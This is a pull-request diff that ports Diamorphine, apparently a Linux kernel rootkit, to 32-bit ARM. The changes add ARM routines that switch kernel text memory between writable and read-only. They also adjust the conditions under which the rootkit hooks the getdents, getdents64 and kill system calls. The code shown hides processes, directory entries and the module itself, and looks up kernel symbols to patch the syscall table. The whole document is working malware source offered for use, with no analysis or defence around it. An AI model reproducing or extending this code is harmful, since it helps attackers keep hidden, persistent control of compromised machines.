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Diamorphine ported to ARM #27

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Diamorphine ported to ARM #27

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25 changes: 17 additions & 8 deletions diamorphine.c
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Original file line number Diff line number Diff line change
Expand Up @@ -38,9 +38,12 @@ void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t si
unsigned long start_rodata;
unsigned long init_begin;
#define section_size init_begin - start_rodata
#elif IS_ENABLED(CONFIG_ARM)
void (*set_kernel_text_rw)(void);
void (*set_kernel_text_ro)(void);
#endif
static unsigned long *__sys_call_table;
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) && IS_ENABLED(CONFIG_ARCH_HAS_SYSCALL_WRAPPER)
typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
static t_syscall orig_getdents;
static t_syscall orig_getdents64;
Expand Down Expand Up @@ -103,7 +106,7 @@ is_invisible(pid_t pid)
return 0;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) && IS_ENABLED(CONFIG_ARCH_HAS_SYSCALL_WRAPPER)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
int fd = (int) pt_regs->di;
Expand Down Expand Up @@ -169,13 +172,13 @@ hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
return ret;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) && IS_ENABLED(CONFIG_ARCH_HAS_SYSCALL_WRAPPER)
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
int fd = (int) pt_regs->di;
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
int fd = (int) pt_regs->regs[0];
int fd = (int) pt_regs->regs[0];
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
int ret = orig_getdents(pt_regs), err;
Expand Down Expand Up @@ -290,7 +293,7 @@ module_hide(void)
module_hidden = 1;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) && IS_ENABLED(CONFIG_ARCH_HAS_SYSCALL_WRAPPER)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs)
{
Expand Down Expand Up @@ -321,7 +324,7 @@ hacked_kill(pid_t pid, int sig)
else module_hide();
break;
default:
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) && IS_ENABLED(CONFIG_ARCH_HAS_SYSCALL_WRAPPER)
return orig_kill(pt_regs);
#else
return orig_kill(pid, sig);
Expand Down Expand Up @@ -354,7 +357,8 @@ protect_memory(void)
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
section_size, PAGE_KERNEL_RO);

#elif IS_ENABLED(CONFIG_ARM)
set_kernel_text_ro();
#endif
}

Expand All @@ -370,6 +374,8 @@ unprotect_memory(void)
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
section_size, PAGE_KERNEL);
#elif IS_ENABLED(CONFIG_ARM)
set_kernel_text_rw();
#endif
}

Expand All @@ -386,12 +392,15 @@ diamorphine_init(void)
update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#elif IS_ENABLED(CONFIG_ARM)
set_kernel_text_rw = (void *)kallsyms_lookup_name("set_kernel_text_rw");
set_kernel_text_ro = (void *)kallsyms_lookup_name("set_kernel_text_ro");
#endif

module_hide();
tidy();

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) && IS_ENABLED(CONFIG_ARCH_HAS_SYSCALL_WRAPPER)
orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
orig_kill = (t_syscall)__sys_call_table[__NR_kill];
Expand Down